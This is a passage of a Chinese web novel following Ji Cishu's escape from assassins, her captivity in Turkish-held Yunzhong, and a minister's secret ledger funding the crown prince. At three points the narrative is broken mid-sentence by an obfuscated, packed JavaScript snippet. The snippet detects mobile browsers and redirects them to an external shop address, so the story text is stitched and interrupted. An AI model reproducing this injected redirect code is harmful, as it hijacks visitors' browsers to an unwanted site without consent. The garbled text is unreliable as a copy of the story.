身后追赶声紧。两人在狭窄的巷道间拼命奔逃，仗着季辞秋熟悉地形，才勉强拉开一段距离。跑到一处岔路转角，季辞秋猛地停下，将长宁推到另一边巷口。 “他们的目标是我，”她语速极快，目光在黑暗中依然锐利，“你别跟着我，往我的反方向跑。” “不！姐姐，我要和你一起！”长宁急得快哭出来，死死攥紧她的衣角。 “长宁，听话！”季辞秋语气生硬，恐吓道，“这不是小打小闹，会没命的。” 听到“没命”，长宁瑟缩了一下，但并不畏惧：“那日若不是姐姐救我，我早就没命了。” “这不一样......” “姐姐，是我自己想跟着你，你别赶我，”长宁不想听她的推拒，只执拗地看她，“我能帮姐姐做什么？” 季辞秋闭了闭眼，心中如蚁群爬过，良久下定决心般长呼一口气，睁开眼。 “长宁，你听好，你现在往那边跑，去我住处拿走我的包袱，牵上我的马，立刻出城，到北门外三里处的铁匠摊等我。”季辞秋握住她冰凉的小手，语气是前所未有的认真，“相信我，我一定会去铁匠摊与你会合。快走！” 看着她眼中不容置疑的坚决，长宁用力抹了把眼睛，重重点头，转身消失在黑暗里。 季辞秋深吸一口气，故意弄出些声响，将追兵引向另一条路。 与此同时，晋王府书房灯未熄。叶望正在翻阅边镇舆图，一名身着夜行衣的探子悄无声息落入院中，疾步入内。 “殿下，有异动。几个身手不明的黑衣人闯入了云府，目标似是那位姑娘。她已逃脱，正向南边遁去。” 叶望执笔的手一顿，墨点滴在舆图边缘。他倏然起身：“南边何处？” “仍在城中巷陌周旋。” 叶望二话不说，扯过一旁挂着的深色外袍披上，抓起佩剑便向外走。 “殿下！”下属一惊，欲叫上周围护卫。 “不必跟来，人多眼杂。”叶望脚步未停，声音冷冽，“青戈随我足矣。” —— 季辞秋的呼吸越来越急促，身后的追捕者如影随形。她对延州街巷再熟，也难敌对方有备而来，且显然精通合围之术。终于，她被逼入一条死巷。 高墙矗立，退路已绝。她背靠冰冷石壁，听着逐渐逼近的脚步声，强自镇定，扬声问道：“诸位究竟是哪路朋友？某自问不曾与人结下如此深仇，何故赶尽杀绝？” 巷口，五六个黑衣人现身，呈半圆形将她堵住。为首一人嗤笑一声，声音粗嘎：“死到临头，告诉你也无妨。要怪，就怪你那好爹季恪！” 季辞秋心头一跳。 “当年，无影堂前掌门老糊涂，看在你爹的面上，鬼迷心窍，竟破例收了你这个病恹恹的女娃入门，还将本门掌法传授于你，美其名曰让你静养。呵，如今季恪倒台，身败名裂，无影堂不过是清理门户，替天行道，让你这罪臣之女，也尝尝应得的报应！” 无影堂？季辞秋脑中飞速搜索原身模糊的记忆碎片，似乎……确实有过那么一段。记忆里有腾云绕雾的山，还有掌门谄媚的脸。那时的原身似是生了一场重病，入门求医，为此季恪还答应为无影堂造势，助其发展壮大。 她定了定神，试图周旋：“即便家父有罪，我受牵连，自有朝廷律法、官府刑狱处置。无影堂以江湖门派之身，行此私刑，恐怕不止是‘替天行道’这么简单吧？” “巧言令色！”另一黑衣人冷声喝道，“我无影堂绝学，历来传男不传女！收容女子已是破例，何况还是你这等声名狼藉的罪臣之后。留着你这般门生，才是辱没师门！” 冠冕堂皇的说辞下，杀意凛然。 剑拔弩张之时，一道尖锐的破空声撕裂夜色，自黑衣人身后方向疾射而来。寒芒一闪，为首的黑衣人身边一名同伴惨哼一声，肩头中箭，踉跄倒地。 “什么人？！” 黑衣人阵脚微乱，立刻转向箭矢来处，刀剑出鞘，厉声喝问。 季辞秋虽不明情况，但求生本能让她抓住这转瞬即逝的机会。她足尖一点，身如轻燕，朝侧方一段略矮的墙头奋力跃去。刚在墙外落定，未及喘息，一只温热有力的大手忽然从旁伸出，紧紧捂住了她的口鼻，将她整个人拽入一个极其狭窄的墙间缝隙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264350|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “唔！”她骇然挣扎。 “是我。”低沉熟悉的嗓音贴着耳畔响起，带着一丝夜露的微凉，还有那缕清冽的沉水香气。 巷内，无影堂众人搜寻箭手无果，回头发现季辞秋已不见踪影，怒骂一声，随即朝更远处追索而去。 视线死角，季辞秋与叶望几乎紧贴，衣料摩擦，气息交缠。心跳因惊诧和突如其来的靠近失了序。 待声音渐远，叶望才缓缓松开手，稍稍偏头，拉开一点距离。黑暗中，他的目光似乎落在她脸上：“是什么人？” 季辞秋心中纷乱，惊异于他为何出现在此处，却也顾不上这些，只低声道：“无影堂。说是因我父亲旧事，要清理门户。”她简略说了方才听到的缘由。 叶望沉默片刻，问：“你待如何？” “行踪已露，延州是待不下去了。”季辞秋苦笑，“所幸近日攒的盘缠也够了，我本就打算往北边去，正好就此离开。” 狭窄的缝隙里，叶望凝视着她，心一点一点地沉下去。挽留的话在脑中重复沸腾多日，几欲爆燃。 月光下，女子的眼睛很亮，明媚得如稍纵即逝的春光，衬得她凌乱的头发和脏污紧绷的脸庞更显刺眼。这样的眼睛生来就该自由热烈，该在晴野肆意挥洒汗水，该爱自己所爱恨自己所恨，而不应同他一起，在权力的苦海浮沉。 他怎能这般自私，妄图留住春华。 一盆凉水兜头泼下，他缓过神来，自嘲地扯了扯嘴角。 黑暗中，静默持续了许久，久到季辞秋几乎能听见自己血液流动的声音。 终于，叶望有了动作。只见他自袖中取出一物，执起她的左手，将其稳稳戴在了她的无名指上。 指尖传来金属冰凉的触感。 季辞秋愕然低头，借着极其微弱的月光，看清那是一枚造型简练却异常精致的银戒，戒身流畅，在暗处泛着幽微的寒芒。 无名指……戒指…… 她的脑子“嗡”了一声，有半秒的彻底空白，随即一股莫名的热意从耳根轰然烧起，瞬间蔓延至脸颊。他、他知不知道……这在她的时代意味着什么？ 很显然，他不知道。毕竟这个时代甚至没有婚戒一说。 可即便如此，她还是无法全然坦荡，心底莫名发虚，指尖那圈冰凉的存在感变得无比鲜明。 而“罪魁祸首”此刻却语气自然平静地开口：“戒中藏有机关，内嵌三根银针，淬有剧毒，见血封喉。旋动戒面此处，即可激发。危急时，或可保命。” 原来如此。季辞秋骤然回神，暗骂自己胡思乱想。她垂眸细看，果然见戒面有一处极细微的凸起可旋。 她抬起头，望向近在咫尺的模糊轮廓，轻声道：“多谢……殿下。” “无碍。”叶望的声音依旧平淡，他顿了顿，又低声快速嘱咐了几句北行需注意的关卡、路途和可能遇到的盘查。 季辞秋认真记下，一一应了。 远处似乎又传来隐约的动静，时间紧迫。 “保重。”叶望最后说道，松开了对她的钳制。 季辞秋从缝隙中侧身挤出，回头望去。他仍立在原处晦暗的阴影里，身姿挺拔如松，仿佛要与夜色融为一体。 她忽然感到一阵没来由的难过，像是有细小的针在心头轻轻扎了一下。下一刻，她扬起脸，朝着那片阴影，努力扯出一个轻松的笑容，挥了挥手，没入深沉的夜幕之中。 71. 云中 长宁牵着马，在北门外三里处的铁匠摊旁，从深夜等到东方既白。晨雾渐散，路上行人开始零星出现，却始终不见季辞秋的身影。她心中那点希冀如同将熄的炭火，一点点冷下去，忍不住想，莫非姐姐是故意将自己支开，就此别过？ 就在她几乎要牵马回头时，一个熟悉的身影自薄雾中快步走来。长宁心中一松，几乎要雀跃起来，却强自按捺，只眼巴巴望着。 季辞秋走到近前，也不多话，快速朝四周望了望，确认安全后，接过缰绳，利落地翻身上马，随即向她伸出手：“上来。” 二人同乘一骑，沿着官道向北而行。马蹄嘚嘚，季辞秋才开口问：“可知我们要去哪？” 长宁在她身后摇了摇头，想起她看不见，轻声答：“不知。” “不知去何处，便敢跟着？”季辞秋的声音里带着一丝听不出情绪的轻笑。 长宁将脸微微贴近她挺直的背脊，声音虽轻却坚定：“跟着姐姐，去哪都行。” 季辞秋不再言语，只一夹马腹，加快了速度。 如此行了数日。这日午后，她们沿着一条还算宽敞的商道前进，却渐渐觉出不对来。道上同向而行的人车愈发稀少，反而从北边南返的人越来越多，个个行色匆匆，面带惊惶。 季辞秋勒住马，蹙眉观望片刻，翻身下马，拦住一个正埋头赶路的中年行商：“老哥，借问一声，前头可是出了什么事？” 那行商猛地被人拦住，吓了一跳，待看清是汉人女子，才拍着胸口喘气道：“哎哟，姑娘，可别再往前了！听说前头……前头山坳里，发现了突厥人的营地，好些个带刀的，凶得很！路已经不通了！” 季辞秋心下一沉。此路是通往长平的必经之路，若绕行，至少要多耗半月，且未必安全。她与长宁对视一眼，别无他法，只得随着一些同样滞留观望的旅人，在道旁一处背风的山坳里暂时扎下营盘，想看看情形能否有所转机。 夜幕降临，旷野中风声呜咽。连续赶路的疲乏让多数人早早蜷缩歇下。季辞秋却睡得不踏实，半梦半醒间，耳畔似乎捕捉到一丝不同于风声的细微响动。 她猛地睁开眼，寒毛直竖！ 只见数道魁梧的黑影，如同暗夜中扑出的鬼魅，正悄无声息地窜入营地，手中弯刀在黯淡的月光下划过冰冷的弧线。 “长宁！”她低喝一声，伸手去抓睡在身旁的人，同时已弹身而起，想要抢马。 然而为时已晚。更多黑影从四面合围而来，口中呼喝着听不懂的突厥语，凶悍无比。营地里顿时一片惊叫哭喊，季辞秋护着惊恐万状的长宁，几番挣扎，终究被反剪双手，和其余十几个被俘的汉人一道，被粗暴地塞进了几个密闭木箱中。 眼前骤然一片漆黑，只有箱板缝隙漏入几丝微弱的光。箱外，突厥人吆喝了几声，木箱被抬上了车，在凹凸不平的路上剧烈颠簸起来。 意识到被俘，几个汉人煞白着脸，低声啜泣起来。 长宁在黑暗中紧紧挨着季辞秋，身体不住发抖，季辞秋心中亦是一片冰凉。前途未卜，生死难料，她勉强镇定心神，将眼睛贴近一道稍宽的缝隙，竭力向外张望，试图记住方位与沿途特征。 颠簸与黑暗持续了一天一夜，久到箱中人都近乎麻木。终于，随着一声粗鲁的呼喝，车辆停住。 箱盖被猛地掀开，突如其来的光线刺得人睁不开眼。众人被刀背驱赶着爬出箱子，踉跄站定。 抬眼望去，大漠孤烟，一座城池在阴郁的天穹下孤耸矗立，显得格外苍凉。城墙高大，却可见多处残破与烟熏火燎的痕迹，城头飘扬的，是陌生的狼头旗帜。 紧接着，众人看到了道旁那半截残存的界碑。碑身染满暗沉污渍，却仍能辨出其上深刻的三个大字——云中郡。 季辞秋的瞳孔骤然收缩，浑身的血液似乎在这一刻凝住了。 云中郡。长平之战中被突厥攻占的重镇。也是……朝廷降罪，季恪被斩首示众的地方。 心头涌起复杂的情绪，来不及细想，后背被狠狠推了一把。“快走！”突厥不耐烦地催促着。 季辞秋踉跄一步，垂下眼帘，将所有翻腾的情绪死死压下。她拉住几乎站立不稳的长宁，随着麻木的人流，被驱赶向城门旁一个用木栅与土墙粗糙围起来的大营区。 营内景象，更是触目惊心。密密麻麻尽是衣衫褴褛的汉人，男女老幼皆有，像牲畜一样被圈禁于此，搬运沉重石料，或挖掘沟渠，稍慢一步，便会招来打骂。空气中弥漫着汗臭和尘土的气息。 看到来人，忙碌的众人忍不住张望，却不敢多看，只匆匆一眼便仓促垂头。 季辞秋和长宁被推搡着，赶到营地角落一处低矮的棚屋里。屋内光线昏暗，数架简陋的织机排列着，织机前的女子们个个埋首，手指翻飞，不敢有片刻停歇。 二人被指定到两架空置的织机前，看着错综复杂的经纬线，有些手足无措。 两人呆立着，与周围忙碌的景象格格不入，很快引来了监工警惕而不善的目光。 就在这时，旁边织机上一个身影微微侧过身，飞快地瞥了她们一眼，又迅速转回头去，手中动作却不着痕迹地慢了下来。待那监工踱到另一头，她才又稍稍侧身，刻意地咳了几声。 季辞秋循声看去，是个与她年岁相仿的女子，衣衫破旧，脸颊沾着灰，却掩不住一双格外清亮的眼睛。一道狰狞的旧疤自她左额角斜斜划过眉骨，直延伸到颧骨下方，几乎将半张脸一分为二，在昏暗光线下显得尤为刺目。 见季辞秋看过来，那女子手下不停，只用眼神示意面前的织机，口唇微动，用几乎听不清的气音道：“看我，跟着做。” 季辞秋立刻会意，拉着长宁在织机前坐下，眼睛紧紧盯着那女子的动作。只见她双脚交替踏动踏板，控制着综片上下交错，分离经线，一手投梭引纬，另一手随即用筘座将纬线打紧，动作连贯而富有节奏。 季辞秋凝神观察，照葫芦画瓢。尝试了几次，便逐渐摸到了门道，动作虽生涩缓慢，却已能勉强操作。长宁见状，也努力学着她的样子做起来。 那疤面女子见她们渐入正轨，几不可察地点了下头，手下速度恢复如常。 午后短暂的休息时刻，监工暂时离开，棚屋内压抑的气氛稍缓，女子们才敢稍微直起腰，喝点水，揉捏酸痛的手腕。那疤面女子挪到季辞秋旁边的空处坐下，递过来半碗浑浊的清水。 季辞秋道谢接过，却没有喝，只是看着她：“姑娘……方才多谢你了。” “没什么，”女子摆摆手，“叫我明丽就行。” 她目光在季辞秋和长宁脸上扫过，带着审视，也有一丝同病相怜的意味。“二位从何处而来？” 季辞秋沉吟一瞬，道：“从延州来，原想去长平，不想路上遇到突厥人，便被掳了来。姑娘是哪里人？” “我？”明丽扯了扯嘴角，牵动脸上疤痕，笑容有些苦涩，“土生土长的云中郡人。打从记事起，就在这城墙根下跑。后来，城破了，旗子换了，像我这样没来得及逃，或者没本事逃的，就被一车一车拉到这种地方。” 她顿了顿，目光在二人脸上扫过，眉头忽地蹙紧，身子又倾近几分，声音压得极低：“先别管这些。听我的，赶紧往脸上、脖子上，多抹点灰，越脏越好，头发也弄乱了。” 见两人似乎还没完全意识到严重性，明丽眼中闪过一丝后怕，语速更快：“这里头的突厥兵，尤其是那些管点事的，有时候会来挑人。被他们看上了，拉走，可就……”她没说完，只用一个短促而沉重的气音代替，眼神里是全然的警告。 —— 书房外的回廊下，黎叔望着那扇紧闭的雕花木门，又是一声沉沉的叹息。 自打前几日，王爷从外头回来，便把自己关在书房中，若非急事不见。他侍奉王爷多年，从王爷还是个半大少年，在军中摸爬滚打时就跟着，太了解这位主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282048|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的脾性。若他没猜错，王爷如今这副模样，怕是与那位季姑娘有关。 当初王爷让他去寻个女子来做账时，他心下就存了疑。等真在府里见着那位身形利落、戴着面具的姑娘，那点疑惑便成了恍然。 他是个过来人，年岁虚长，见过些世情冷暖、儿女牵缠。王爷看季姑娘的眼神，说话时不经意缓下的语气，旁人难以察觉，却瞒不过他这双老眼。那绝非主子对下属，甚至不是寻常男子对一位有才女子的赏识。 他抬起粗糙的手，无意识地擦了擦回廊的栏杆。可惜——多事之秋，两人身上都系着千钧重担，稍有不慎便是灭顶之灾。真是……造化弄人啊。 正胡思乱想着，一阵急促的脚步声自月洞门外传来。黎叔抬眼，见青戈匆匆而来。他径直走到书房门前，隔着门板，压低嗓子道：“王爷，青戈有要事禀报。” 里头静了一瞬，随即传来叶望有些沙哑的声音：“进。” 青戈推门闪入，带进一股夜风的凉意，他神色凝重，快步走到书案前，抱拳低声道：“王爷，鄜州线路的镖队传回消息，他们在老君山北麓一条废道附近，发现了一个临时扎下的营地。为免打草惊蛇，只派了身手最好的两个兄弟远远潜过去瞧了。” “那营地位置刁钻，背靠山崖，前临深涧，只有一条险道可通，易守难攻。里头搭的是行军帐篷，约莫三四十顶，估算至少有三四百人。”青戈语速平稳，却字字清晰，“里面的人作息起居极有章法，巡哨、操练的架势，绝非乌合之众。最关键的是，他们身上穿的内甲，手里持的弓弩、长矛，皆是军中的制式家伙，且保养得极好。” 叶望的指尖在舆图上鄜州的位置轻轻一点：“可辨明来历？” “夜里他们围火取暖时，隐约听出些淮南道那边的口音，特别是广陵一带的土话，似乎在等另一批人马来汇合。” 广陵的军队？淮南节度使？他心中蓦地一跳。朝廷近来并无调兵往京畿方向的邸报，淮南道更是平静无波。这样一支装备精良、行动隐蔽的武装悄无声息地出现在距离长安不算太远的鄜州山地，绝非寻常。 是私兵。 几乎同时，另一张面孔闪过脑海——季辞秋离开长安前，曾透露过郭统可能是叶玄的人。如果郭统是叶玄安插在淮南道的钉子，那这些出现在鄜州的私兵，是否也与东宫有关？ 可旋即，疑惑更深。叶玄如今已是名正言顺的太子，入住东宫。只要父皇龙驭上宾，他便可顺理成章登临大宝。为何要冒天下之大不韪，在长安眼皮子底下暗屯兵马？ 思绪如潮水般翻涌，另一个更现实的问题紧随而至，钱粮。 养兵烧钱，养这样几支规模不小的军队，绝非一日之功，必定是长期稳定的巨额投入。 这么多钱，从何而来？叶玄虽为太子，有俸禄赏赐，但东宫用度皆有定例，绝无可能凭空变出这么大一笔财富。 况且，这么大一笔“黑钱”，若源源不断流出，户部竟毫无察觉吗？ 他直觉此事背后盘根错节，水深无比。 叶望的目光落在书案一角那枚小小的私印上。他重新提起笔，取过一张无纹素的信笺，给张展去信。 张展之父是户部尚书，总管天下钱粮度支。若国库或各项税收有大规模、长时间的不明流动，户部不可能全无痕迹。要么是手法高明，瞒过了所有耳目；要么……就是户部内部，出了问题。 叶望眼神微沉。张展是他多年好友，性情耿直，但其父在朝中一向以中庸著称，与东宫若即若离。信不能明写，但可以旁敲侧击。张展为人机敏，不求他能查明一切，只盼他能有所警惕，私下留意，免得搅入这趟浑水。 “找最稳妥的人，亲手交到张展本人手中。”叶望将信封好，交给青戈，声音压得极低，“还有，传话给发现营地的镖队，以及所有走鄜州方向的弟兄，从今日起，避开那片区域。只当从未见过那个营地，管住所有人的嘴。” 72. 谋皮 宣义坊，张展手里提着一只细竹篾编的玲珑笼子，里头装着两只羽毛鲜亮、鸣声清越的百灵。 “今日在西市瞧见的。贩子说是从陇右道快马运来，极善学舌。”张展将笼子小心挂在窗边钩上，鸟儿立刻啁啾起来，声音清脆婉转。“你整日在屋里闷着，听听这个，也算有些生趣。” 杜琼玉放下手里的活计，起身走近细看。她没有说话，只伸出一根手指，极轻地碰了碰竹笼。鸟儿歪头瞅她，又叫了两声。 “前日你带的胡麻饼，我依样做了些。”她忽然开口，声音依旧平淡，转身从食盒里端出一碟金黄油亮的饼子，还冒着微微热气，“放了更多蜂蜜。你……尝尝。” 张展怔了怔，眼里倏地亮起来。他接过饼子咬了一口，甜香在口中蔓延开来，一丝丝沁入心脾。“好吃。”他说得有些急，差点噎着，忙灌了口杜琼玉推过来的热茶。 “慢点。”杜琼玉出声提醒。 张展挠了挠头，抱歉笑了两声，心里却溢满欢喜。他能感觉到，包裹在玉儿周身的那层坚冰，正在一点一点松动，虽缓慢，却在偶尔泄出一线生机。握着这点生机，就够他回味许久。 张展走出院子时，只觉得夏夜晚风里仍带着柳芽初萌的甜意。沉浸在这样的氛围中，他心情雀跃，仿若身在云端，一路飘飘然回了府。 刚到府上，板凳还未捂热，便收到了一封自延州而来的信。他挑了挑眉，叶望这厮，在延州那地方待得倒是想起他来了？ 撕开信，内容却让他有些意外。通篇皆是客气又略显生疏的寒暄，询问京城近况，末了才以请教的口吻，说起延州地方商税账目有些不清不楚，听闻户部近年对天下度支稽查颇有革新，想问问能否向他爹请教，寻些不涉机密的章程条例来看看，也好让他学习参照。 “就为这点事？”张展咕哝了一句，将信纸在手里掂了掂。他与叶望是少年相识的交情，说话从来直来直去，何曾这般拐弯抹角过？他咂摸了一下，觉得这信里透着一股说不出的别扭劲儿。叶望在延州当藩王，什么时候对地方税账这么上心了？还要看户部的新章程？ 不对劲。他将信从头到尾又看了一遍。字里行间，那股刻意保持的平淡下，似乎藏着点别的东西。尤其是最后那句“京中风云变幻，诸事谨慎”，怎么看都像是有言外之意。 张展挠了挠头，起身往书房走去。张同甫正在书房里核对一批账册。张展大咧咧走进去，行了礼，便道：“爹，儿子近来在府衙看到些地方税赋的案子，有些糊涂。听说咱们户部近几年理账稽查的法子变了不少，有没有什么不紧要的章程文书，让儿子拿去看看，也长进长进？” 张同甫从账册后抬起头，看了张展一眼。“你何时对这些感兴趣了？”他的声音平稳，听不出情绪。 “嗨，这不是吃着官家饭，总得明白点，免得被人糊弄了。”张展笑嘻嘻的，顺手拿起桌上一本摊开的册子，随意翻了翻，里面密密麻麻都是数字和货品名目，“哎，这漕运的米粮数目可真不小。” 张同甫伸手，不动声色地将那本册子拿了回去，合上。“户部章程繁杂，外间不宜流传。你既有心，为父让人抄录些概要给你便是。”他顿了顿，语气如常地补充道，“不过近日部里事务冗杂，恐怕要等些时日。” “成，不急。”张展应得爽快，眼睛却飞快地在书案上扫过。案头除了那本漕运账，还叠着几本厚厚的簿子，封面字样不一，有“盐课”、“常平”等。而父亲手边单独放着一本蓝色封皮的薄册，上面没有题签。 张同甫似乎察觉了他的目光，很自然地将那本蓝皮册子拿起，放进了手边的抽屉里。“若无他事，便去歇着吧。为父这里还有公务。” “是，您也早些休息。”张展告退出来，心里那点异样感却更重了。 之后几天，他留了心，借着回府请安或给母亲送东西的机会，有意无意在书房附近转悠。 他发现，父亲近来在书房待的时间格外长，有时直至深夜。而且，书房里常来一位陌生的书吏，那人并非户部常见的那几位熟面孔，总是夹着个不起眼的布包，匆匆而来，匆匆而去，与父亲在书房一待就是半个时辰以上。 有一回，那书吏离开时，张展假装在廊下赏花，与他打了个照面。那人目光与张展一触即分，迅速低下头，脚步加快离去。张展眼尖，瞥见他布包没系紧的缝隙里，露出的册子一角，也是蓝色的封皮。 他想起了父亲书桌上那本。户部的正式文书账册，他见过不少，多用黄褐封皮或特定颜色的绫面，这种普通的蓝皮簿子，倒像是私下记录用的东西。 他心里像被猫爪子挠了一下。叶望那封语焉不详的信，父亲略显异常的反应，神秘的蓝皮簿子，行踪谨慎的陌生书吏……这些零碎的片段在他脑子里打架，令他的疑惑更大了。 这日，张同甫被皇帝召入宫中议事，走得匆忙。张展正好在府中，母亲让他去书房取一副父亲前几日要找的字画。 书房里静悄悄的，张展找到字画，正准备离开，目光却鬼使神差地落在了那个上了锁的抽屉上。 那是父亲存放紧要私物的地方。钥匙……张展知道有一把备用的，收在母亲妆匣的暗格里。 他心跳忽然有些快。本能的好奇驱使着，他取来了钥匙。 锁舌弹开的声音在寂静的书房里格外清晰。里面东西不多，最上面，正是那本蓝皮册子。 他快速翻看起来。里面记录的并非正式的户部账目，而是一笔笔看似零散的资金往来。数额巨大，名目含糊，多是“东南杂捐”、“江淮平余”等语焉不详的条目，支出流向则指向几个看似不相干的地方州府。但有几笔，在备注里用极小的字，标着“东宫用度”、“甲器采买”等字样。 冷汗瞬间浸湿了他的后背。他手指有些发颤地继续翻看，在最后几页，看到了一笔近期支出的汇总，数额之大，令他倒抽一口凉气。而支取的名义，竟然是“修缮先帝陵寝偏殿——特拨”。 先帝陵寝的修缮，工部和内府监自有专款，何时需要从户部尚书的“私账”里，用如此巨款，以这种名义支出？ “砰！”书房门被猛地推开，他手一抖，册子自手中滑落。 “你……你在做什么？”张同甫站在门口，目光死死盯住桌上摊开的蓝皮册子，脸色是一种失血的苍白，“谁让你动为父的东西？！” 最初的慌乱过去，一股灼热的愤怒冲上了张展的头顶。他反而镇定了一些，只是脸色涨得通红，指着那本册子：“我在看什么？爹，我倒要问问您，这里面记的是什么？！” “‘东南杂捐’、‘江淮平余’？好名目！还有这个——‘东宫用度’、‘甲器采买’！您堂堂户部尚书，什么时候开始替东宫管起私账、买起盔甲兵器了？！” “逆子！住口！”张同甫厉声喝断，胸口剧烈起伏，他猛地回身关上房门，隔绝了外界，再转回来时，眼神复杂至极，“你懂什么？！朝廷大事，岂容你妄加揣测！这……这都是为了张家满门！” “为了张家？”张展惨笑一声，眼圈却红了，“父亲，您看看您现在做的！这是在把张家往断头台上送！” 张同甫脸上的肌肉剧烈抽动了一下，避开张展痛心疾首的目光，声音干涩而疲惫：“展儿……为父知道，你与五殿下是总角之交，情谊深厚，你心里向着他。可你也该睁开眼看看，如今是什么形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286314|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势！东宫之位已定，大势所趋，有些事，不是凭着旧日情分和一腔意气就能左右的！” 他重重叹了口气，仿佛要吐出压在胸口的巨石：“为父走到今日这一步，说是身不由己，也……不为过。说起来，这份‘不得已’，与五殿下，也未尝没有干系。为父……为父也算是对他，仁至义尽了！” 张展猛地抬头，愕然道：“你这话是什么意思？” 张同甫闭了闭眼，仿佛下定了决心，再睁开时，眼底只剩下苍凉：“四年前，关中大旱，赤地千里，无数流民涌向陇西。朝廷粮饷吃紧，又因边患，优先支应了北地诸军，对陇西流民视而不见。” 他声音低了下去，带着难言的艰涩，“季恪不忍见治下军民饿殍遍野，又求告无门，万般无奈之下，他擅自做主，将一部分本应拨付军中的钱粮临时挪用了，用以开设粥棚，赈济灾民。” “此事他做得隐秘，当时也确解了燃眉之急，救了不少人。按他的打算，是准备事后从别处设法，或是用自家产业，慢慢将亏空补上。可军费亏空，岂是那么容易填补的？拖了一年多，窟窿仍在。那年正逢户部会同兵部核查边镇军费开支，这笔账……眼看就要捂不住了。” 张展听得背脊发凉，喉头发干：“所以……父亲你……” 张同甫点头，声音低不可闻：“为父核查时，发现了这笔糊涂账，暗中做了手脚，将账目做平，把这事……瞒了过去。” 书房里死一般寂静。 “我本以为此事天衣无缝，就此沉埋。哪知……哪知东宫那边，不知从何处得知了风声，竟拿到了当年季恪私下调动钱粮以及我做平账目的确凿证据！” 他猛地抬头，眼中布满血丝：“展儿，你说，为父还能如何？此事若掀开，季恪死无对证，五殿下难逃干系，而我……我身为户部尚书，徇私舞弊，欺君罔上，替边将遮掩如此重罪！张家……顷刻之间，便是灭门之祸！” 张展如遭雷击，呆立当场。他万万没想到，父亲被东宫拿捏的把柄，根源竟在此处。 一股更深的寒意席卷了他。他看着眼前一下子苍老了许多的父亲，声音颤抖，却异常清晰：“所以……所以您现在就受太子威胁，帮他做这些事？父亲，您这是饮鸩止渴！是在拆东墙补西墙，一错再错！” “太子是什么人？他还没坐上那个位子呢，就开始弄这些勾当！您以为帮他做了这些，他日后就能保张家富贵？他只会用这事拿捏您一辈子！等到鸟尽弓藏那天，我们张家就是第一个被推出去灭口的！” 张同甫身体晃了晃，嘴唇翕动，却再也说不出一句辩解的话。儿子的话，像一把冰冷的刀子，剖开了他内心深处最不愿面对的恐惧。他何尝不知这是与虎谋皮？何尝不知前途叵测？可一步踏错，步步深渊，他已无路可退。 看着父亲眼中最后一点光彩熄灭，只剩下绝望的沉默，张展的心狠狠一揪。他深吸一口气，强迫自己冷静下来。 “父亲，那证据，太子胁迫你的证据，你可有保留？” 张同甫摇了摇头：“他们做事很干净……只有那次‘示警’……” “那就从今日起，留个心眼！”张展斩钉截铁道，“他再让你做任何事，想办法，哪怕用最笨的办法，也要留下痕迹！不能只有他捏着我们的把柄！至于已经做下的……木已成舟。但父亲，到此为止吧。能拖则拖，能敷衍则敷衍，不能再深入了。剩下的，走一步看一步。” 他不再看父亲的表情，拉开书房的门，大步走入外面沉沉的夜色之中。事关重大，他必须立刻警示叶望，不能明言，但必须让他知道，他的猜测，恐怕是对的。他隐隐有预感，这京城……很快就要天翻地覆。 73. 喜欢 云中郡的营区像一座巨大的磨盘，碾磨着所有人的精力。在这片令人窒息的灰暗中，季辞秋为数不多的喘息时刻，就是在监工巡逻的间隙与明丽攀谈。明丽机灵，懂得多，知道如何在这夹缝里寻得一丝活气，而季辞秋则沉稳，听得进话，一来二去，两人倒真生出几分共患难的情谊。 这日清晨，季辞秋察觉明丽有些异样。她脸上泛着不正常的红晕，织布时也几次走神，梭子险些掉在地上。季辞秋心下担忧，低声问：“你脸色不对，可是病了？” 明丽像被吓了一跳，连忙摇头，强作镇定：“没、没什么，就是没睡好。”眼神却有些飘忽。 季辞秋将信将疑，却也不好再问。 午后，众人稍作歇息，去棚外简陋的茅厕。季辞秋见明丽悄悄起身，低着头快步往外走。她心念微动，对长宁低语一句“我去去就回”，便也跟了出去，保持着一段距离。 只见明丽并未往茅厕方向去，反而七拐八绕，避过几处懒散巡视的突厥兵，朝着营区另一头正在挖掘沟渠的工地摸去。季辞秋隐在一处堆放的木料后，远远瞧见明丽蹲在沟渠边缘，与底下正在劳作的一个年轻男子低声说着什么。那男子抬起头，脸上沾满泥污，却咧开嘴，露出一个朴实的笑容。季辞秋认出来，正是那个常在织布棚外路过，同她们打招呼的李井。 两人挨得很近，明丽脸上的红晕在黯淡的天光下也清晰可见，她听着李井说话，时不时抿嘴笑一下，手指无意识地绞着破旧的衣角。 她立刻明白了。心中那点担忧散去，她悄然转身，沿着原路返回了织布棚。 